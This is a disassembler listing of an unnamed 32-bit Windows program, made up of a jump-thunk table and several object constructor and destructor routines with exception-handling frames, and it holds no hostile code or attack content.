loc_431670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402013 proc near ; CODE XREF: ___:00416B2Bp ; ___:0043B288j ... jmp sub_417C00 sub_402013 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402018 proc near ; CODE XREF: ___:00416E7Fp jmp sub_4131F0 sub_402018 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_421B80+5p jmp sub_422080 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: ___:00421754p jmp sub_41C0A0 sub_402022 endp ; --------------------------------------------------------------------------- off_402027 dd offset byte_4BF4E9 ; DATA XREF: ___:off_43F008o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40202C proc near ; CODE XREF: sub_404690+2CEp ; sub_404CC0+46Fp ... jmp sub_40A750 sub_40202C endp ; --------------------------------------------------------------------------- jmp loc_434410 ; --------------------------------------------------------------------------- jmp sub_41B4D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40203B proc near ; CODE XREF: sub_422470+Ap jmp sub_422750 sub_40203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_404CC0+7E7p jmp sub_41BA50 sub_402040 endp ; --------------------------------------------------------------------------- loc_402045: ; DATA XREF: ___:off_43F014o jmp loc_40AEC0 ; --------------------------------------------------------------------------- loc_40204A: ; DATA XREF: ___:off_43F088o jmp loc_42D150 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204F proc near ; CODE XREF: ___:0040AEC3p ; ___:0040FFAEp ... jmp sub_40AEF0 sub_40204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_424920+109p ; sub_424920+178p ... jmp sub_424800 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402059 proc near ; CODE XREF: sub_4099C0+7p jmp sub_409AB0 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40205E proc near ; CODE XREF: sub_416760+Ap jmp sub_416970 sub_40205E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402063 proc near jmp sub_40CBF0 sub_402063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402068 proc near ; CODE XREF: ___:004301DBp ; sub_4310C0+EAp jmp sub_434320 sub_402068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_421A60+5p ; sub_421B50+6p ... jmp sub_421FF0 sub_40206D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402072 proc near ; CODE XREF: sub_410030+8ADp ; sub_410030+95Ep ... jmp sub_411A60 sub_402072 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402077 proc near ; CODE XREF: sub_40C120+7p jmp sub_40C310 sub_402077 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40207C proc near ; CODE XREF: sub_418A40+34p ; sub_418F90+67p jmp sub_418DA0 sub_40207C endp ; --------------------------------------------------------------------------- jmp loc_409BF0 ; --------------------------------------------------------------------------- loc_402086: ; DATA XREF: ___:off_43F13Co jmp loc_4292B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_417120+2Bp ; sub_417120+3Bp ... jmp sub_403F30 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_4098B0+14p jmp sub_409910 sub_402090 endp ; --------------------------------------------------------------------------- jmp loc_4332C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40209A proc near ; CODE XREF: sub_428DC0:loc_428FCBp jmp sub_428CE0 sub_40209A endp ; --------------------------------------------------------------------------- jmp sub_427940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_418430+4Dp jmp sub_418B70 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; CODE XREF: sub_415230+5p ; sub_4153F0+6p ... jmp sub_415DE0 sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020AE proc near ; CODE XREF: sub_427940+3p jmp sub_427970 sub_4020AE endp ; --------------------------------------------------------------------------- jmp loc_41B1F0 ; --------------------------------------------------------------------------- jmp loc_421720 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020BD proc near ; CODE XREF: ___:00416E4Fp jmp sub_407080 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C2 proc near ; CODE XREF: sub_413740+83p ; sub_4145A0+91p ... jmp sub_4153F0 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C7 proc near ; DATA XREF: ___:0043F054o jmp sub_41F030 sub_4020C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020CC proc near ; CODE XREF: sub_40AAD0+144p jmp sub_40ADE0 sub_4020CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D1 proc near ; CODE XREF: sub_431240+BAp ; sub_433C70+36p jmp sub_433CE0 sub_4020D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D6 proc near ; CODE XREF: sub_421EF0+23p ; sub_422340+11p jmp sub_4224E0 sub_4020D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020DB proc near ; CODE XREF: sub_4221E0+4p jmp sub_4225F0 sub_4020DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E0 proc near ; CODE XREF: sub_42BB00+3BBp jmp sub_42B730 sub_4020E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E5 proc near ; CODE XREF: ___:0041A312p jmp sub_41A3B0 sub_4020E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EA proc near ; CODE XREF: sub_416860+Ap jmp sub_4169C0 sub_4020EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EF proc near ; DATA XREF: ___:off_43F18Co jmp sub_42C5C0 sub_4020EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F4 proc near ; CODE XREF: sub_415D70+4p jmp sub_416590 sub_4020F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020F9 proc near ; CODE XREF: ___:004307A6p ; ___:00430808p ... jmp sub_434AD0 sub_4020F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020FE proc near ; CODE XREF: sub_418E20+8p jmp sub_4190C0 sub_4020FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402103 proc near ; CODE XREF: sub_418990+34p ; sub_418E80+67p jmp sub_418CA0 sub_402103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402108 proc near ; CODE XREF: sub_41A7D0+117p jmp sub_41A960 sub_402108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40210D proc near ; CODE XREF: sub_415BA0+35p jmp sub_416670 sub_40210D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402112 proc near ; CODE XREF: sub_404CC0+459p ; sub_406730+43p ... jmp sub_409CA0 sub_402112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402117 proc near ; CODE XREF: sub_40BE00+5p ; sub_40BF40+6p ... jmp sub_40C140 sub_402117 endp ; --------------------------------------------------------------------------- jmp loc_4308A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402121 proc near ; CODE XREF: ___:00416F7Ap jmp sub_4191B0 sub_402121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402126 proc near ; CODE XREF: ___:0042AD23p jmp sub_42AD50 sub_402126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40212B proc near ; CODE XREF: sub_410030+F3Dp ; sub_410030+1392p ... jmp sub_4148A0 sub_40212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402130 proc near ; CODE XREF: sub_413A80+38p ; sub_413E70+5Fp jmp sub_4135E0 sub_402130 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402135 proc near ; CODE XREF: sub_40A210+14p ; sub_40A240+7p ... jmp sub_40A260 sub_402135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213A proc near ; CODE XREF: sub_42B440+157p jmp sub_42AFF0 sub_40213A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213F proc near ; CODE XREF: sub_40ACC0+1Ap ; sub_40AD10+1Ap jmp sub_40AD80 sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402144 proc near ; CODE XREF: sub_4156F0+3p ; ___:00415F1Fp ... jmp sub_416150 sub_402144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402149 proc near ; DATA XREF: ___:0043F02Co jmp sub_410030 sub_402149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40214E proc near ; CODE XREF: sub_4148A0+EDp jmp sub_415920 sub_40214E endp ; --------------------------------------------------------------------------- jmp loc_41B490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402158 proc near ; CODE XREF: sub_40BF00+3p jmp sub_40C180 sub_402158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40215D proc near ; CODE XREF: sub_40BFA0+11p ; ___:0040BFC7p ... jmp sub_40C2C0 sub_40215D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402162 proc near ; CODE XREF: sub_41E760+2C5p jmp sub_4208E0 sub_402162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402167 proc near ; CODE XREF: sub_41D930+64Fp jmp sub_41C170 sub_402167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40216C proc near ; CODE XREF: sub_418CC0+32p jmp sub_418F90 sub_40216C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402171 proc near ; CODE XREF: sub_40ED00+ACp ; ___:0040F42Dp jmp sub_40EE40 sub_402171 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402176 proc near ; CODE XREF: sub_4138B0+93p jmp sub_434D10 sub_402176 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40217B proc near ; CODE XREF: sub_4152A0+1Fp ; sub_415BA0+2Cp jmp sub_415B00 sub_40217B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402180 proc near ; CODE XREF: ___:0042670Dp jmp sub_4266D0 sub_402180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402185 proc near ; CODE XREF: sub_420630+17Dp jmp sub_421AD0 sub_402185 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40218A proc near ; CODE XREF: ___:0042D551p jmp sub_42B380 sub_40218A endp ; --------------------------------------------------------------------------- loc_40218F: ; DATA XREF: ___:off_43F010o jmp loc_409BF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402194 proc near ; CODE XREF: sub_40AAD0+6Ap ; sub_40AAD0+103p jmp sub_40AD10 sub_402194 endp ; --------------------------------------------------------------------------- jmp loc_426280 ; --------------------------------------------------------------------------- jmp loc_427910 ; --------------------------------------------------------------------------- jmp loc_41AD00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021A8 proc near ; CODE XREF: sub_407270+14p ; sub_4072B0+9p ... jmp sub_407510 sub_4021A8 endp ; --------------------------------------------------------------------------- jmp loc_416DE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B2 proc near ; CODE XREF: sub_40B0E0+1Bp jmp sub_433DC0 sub_4021B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B7 proc near ; CODE XREF: ___:00415B5Ap jmp sub_4165E0 sub_4021B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021BC proc near ; CODE XREF: sub_4309A0+ABp ; sub_431980+1Bp ... jmp sub_4319F0 sub_4021BC endp ; --------------------------------------------------------------------------- jmp loc_42FD80 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021C6 proc near ; CODE XREF: ___:00408771p ; ___:00408793p ... jmp sub_4199C0 sub_4021C6 endp ; --------------------------------------------------------------------------- jmp loc_42DA00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D0 proc near ; CODE XREF: sub_40B600+55p jmp sub_40A0B0 sub_4021D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D5 proc near ; DATA XREF: ___:off_43F14Co jmp sub_429510 sub_4021D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DA proc near ; CODE XREF: sub_421BF0+34p ; sub_422510+67p jmp sub_422230 sub_4021DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021DF proc near ; CODE XREF: sub_407140+2Cp ; sub_407140+68p ... jmp sub_4072B0 sub_4021DF endp ; --------------------------------------------------------------------------- jmp loc_4346E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021E9 proc near ; CODE XREF: sub_41C710+1B3p ; sub_41C710+332p ... jmp sub_41D770 sub_4021E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021EE proc near ; CODE XREF: sub_40BD50+11p ; sub_40BFA0+1Fp jmp sub_40C0D0 sub_4021EE endp ; --------------------------------------------------------------------------- jmp loc_4308E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F8 proc near ; CODE XREF: sub_4246D0+1Ap ; sub_4247B0+1Bp ... jmp sub_424500 sub_4021F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021FD proc near ; CODE XREF: ___:00416ABBp jmp sub_418A40 sub_4021FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402202 proc near jmp sub_42CE60 sub_402202 endp ; --------------------------------------------------------------------------- jmp loc_42FF70 ; --------------------------------------------------------------------------- jmp loc_430100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402211 proc near ; CODE XREF: sub_434450+1Bp jmp sub_4344C0 sub_402211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402216 proc near ; CODE XREF: sub_42F6F0+101p jmp sub_42F040 sub_402216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40221B proc near ; DATA XREF: ___:off_43F00Co jmp sub_407210 sub_40221B endp ; --------------------------------------------------------------------------- jmp loc_42F5C0 ; --------------------------------------------------------------------------- jmp locret_418940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222A proc near ; CODE XREF: sub_403720+25p ; sub_403720+35p ... jmp sub_403CE0 sub_40222A endp ; --------------------------------------------------------------------------- jmp loc_4343F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402234 proc near ; CODE XREF: sub_418430+88p ; sub_418430+98p jmp sub_418B90 sub_402234 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402239 proc near ; CODE XREF: ___:00416BBBp ; ___:0043B20Aj ... jmp sub_417870 sub_402239 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40223E proc near ; CODE XREF: sub_418BE0+5p jmp sub_418E50 sub_40223E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402243 proc near ; CODE XREF: sub_414710+3p jmp sub_414740 sub_402243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402248 proc near ; CODE XREF: ___:004305EBp ; ___:00430F17p ... jmp sub_431DC0 sub_402248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40224D proc near ; DATA XREF: ___:off_43F11Co jmp sub_4288F0 sub_40224D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402252 proc near ; CODE XREF: sub_430B30+102p ; sub_432A20+5Dp ... jmp sub_431B00 sub_402252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402257 proc near ; CODE XREF: sub_4135E0+5Cp ; sub_4135E0+C0p ... jmp sub_415540 sub_402257 endp ; --------------------------------------------------------------------------- jmp loc_432700 ; --------------------------------------------------------------------------- jmp loc_430460 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402266 proc near ; CODE XREF: sub_41D930+203p jmp sub_42E3C0 sub_402266 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40226B proc near ; CODE XREF: sub_42F6F0+148p ; sub_42F6F0+173p jmp sub_42EF60 sub_40226B endp ; --------------------------------------------------------------------------- jmp loc_42F490 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402275 proc near ; CODE XREF: sub_4134A0+34p ; sub_4148A0+40p jmp sub_4159F0 sub_402275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40227A proc near ; CODE XREF: sub_40CC90+1A4p ; sub_40D040+ADp jmp sub_40D040 sub_40227A endp ; --------------------------------------------------------------------------- jmp loc_42F510 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402284 proc near ; CODE XREF: sub_422B40+938p jmp loc_424080 sub_402284 endp ; --------------------------------------------------------------------------- jmp loc_419B90 ; --------------------------------------------------------------------------- loc_40228E: ; CODE XREF: ___:00439FE6j jmp loc_40CFC0 ; --------------------------------------------------------------------------- byte_402293 db 129Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403530 proc near ; CODE XREF: sub_4019C4j var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_403530 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_403589 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_40357A: ; CODE XREF: sub_403530+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_40357A loc_403589: ; CODE XREF: sub_403530+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_40142E push offset asc_4445EC ; "|" lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_401870 push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"... lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_401A9B push offset byte_448F40 lea ecx, [esp+47Ch+var_450] call sub_401870 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_4035E1: ; CODE XREF: sub_403530+105j mov ebp, [edi] test ebp, ebp jz short loc_403637 lea ecx, [esp+478h+var_438] call sub_40168B dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_4016B8 mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_4017EE push eax lea ecx, [esp+47Ch+var_450] call sub_401AAF lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_401226 inc esi add edi, 4 cmp esi, 0FFh jb short loc_4035E1 loc_403637: ; CODE XREF: sub_403530+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_4014D3 mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_401226 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_401226 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_401226 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_403530 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403700 proc near ; CODE XREF: sub_40168Bj mov eax, [ecx+9] retn sub_403700 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403720 proc near ; CODE XREF: sub_40129Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403720 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+9] call sub_40222A lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_40222A lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_40222A lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_40222A lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_40222A lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_40222A lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_40222A lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_40222A lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_40222A lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_40222A lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_40222A lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_40222A lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_40222A mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_40222A lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_40222A lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_40222A lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_40222A lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_40222A lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_40222A lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_40222A lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_40222A lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_40222A lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_40222A lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_40222A lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_40222A lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_40222A lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_40222A lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_40222A lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_40222A lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_40222A lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_40222A lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_40222A lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_40222A lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_40222A lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401753 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401753 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401753 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401753 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401753 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401753 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401753 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401753 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401753 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401753 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401753 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401753 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401753 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401753 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401753 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401753 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_401753 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_4011A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_4011A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_4011A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_4011A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_4011A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403720 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C50 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403C50 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403CC0 proc near ; CODE XREF: sub_4011B3j mov eax, ecx mov dword ptr [eax], offset off_43F004 retn sub_403CC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403CE0 proc near ; CODE XREF: sub_40222Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403CE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D60 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403D60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403DE0 proc near ; CODE XREF: sub_401753j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403DE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403DE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403E50 